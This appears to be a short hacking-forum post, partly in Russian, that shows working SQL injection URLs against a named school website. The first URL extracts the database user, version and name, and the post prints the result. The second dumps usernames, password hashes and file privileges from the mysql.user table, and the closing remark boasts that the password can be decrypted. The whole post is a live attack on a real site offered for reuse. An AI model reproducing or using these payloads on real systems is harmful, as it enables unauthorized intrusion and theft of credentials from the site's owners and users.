http://www.li.cj.edu.ro/index.php?pagina=activitati&activitate=zilele2008& cat=detalii&id=-1+union+select+1,concat_ws(0x3a,user(),version(),d atabase()),3,4,5,6--

gabi@localhost:5.0.67-0ubuntu6:licinfo

есть mysql.user

http://www.li.cj.edu.ro/index.php?pagina=activitati&activitate=zilele2008& cat=detalii&id=-1+union+select+1,group_concat(concat_ws(0x3a,user, password,file_priv)),3,4,5,6+from+mysql.user--

пароль расшифровывается)))